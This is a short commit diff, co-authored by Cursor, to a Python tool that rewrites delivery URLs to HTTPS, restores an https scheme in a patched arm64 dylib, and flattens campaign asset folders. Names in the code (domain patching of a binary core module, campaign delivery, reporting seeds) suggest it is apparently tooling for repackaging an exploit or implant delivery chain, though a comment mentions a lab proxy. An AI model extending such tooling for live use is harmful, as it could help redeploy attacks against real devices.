Build delivery over HTTPS and flatten source/web.

Keep/restore https://%@ in type0x01/core and rewrite daily module URLs to https, and move campaign assets from source/web/<hash>/ up to source/web/ so templates match the channel artifact layout.

Co-authored-by: Cursor <cursoragent@cursor.com>

frontend/tools/patch_core.py

@@ -28,7 +28,7 @@ from _common import (
 )
 from _domain_patch import parse_domain_list, patch_fixed_domains_in_dylib
 from _path_patch import patch_initial_daily_path
-from _scheme_patch import patch_deployment_scheme_to_http
+from _scheme_patch import ensure_deployment_scheme_https
 import _common
 
 from coruna_netconfig_pipeline import (
@@ -151,7 +151,7 @@ def update_daily_hashes(
 ) -> bytes:
     """Rewrite channel sync URLs and update hashes/sizes keyed by wire filename."""
     obj = json.loads(config_bytes)
-    prefix = f"http://[HOST_PLACEHOLDER]/channel/{channel}/sync"
+    prefix = f"https://[HOST_PLACEHOLDER]/channel/{channel}/sync"
 
     def patch_entry(entry: dict) -> None:
         wire = str(entry.get("url", "")).rsplit("/", 1)[-1]
@@ -258,7 +258,7 @@ def main() -> int:
 
     if args.root:
         set_tree_root(args.root)
-        # sync-only: campaign dirs are web/<channel-id>/ and may not match ORIGINAL
+        # sync-only: working tree may lack web/ when patching sync in isolation
         ensure_tree_layout(tree_root(), require_campaign=False)
     if args.apply:
         if not args.root:
@@ -315,8 +315,8 @@ def main() -> int:
                     reporting_seed=rep,
                     label=label,
                 )
-            # Fat arm64+arm64e: 2× https://%@ → http://%@/ for lab cleartext proxy.
-            data = patch_deployment_scheme_to_http(
+            # Fat arm64+arm64e: keep/restore 2× https://%@ (undo legacy http lab patch).
+            data = ensure_deployment_scheme_https(
                 data, expect_hits=2, label=label
             )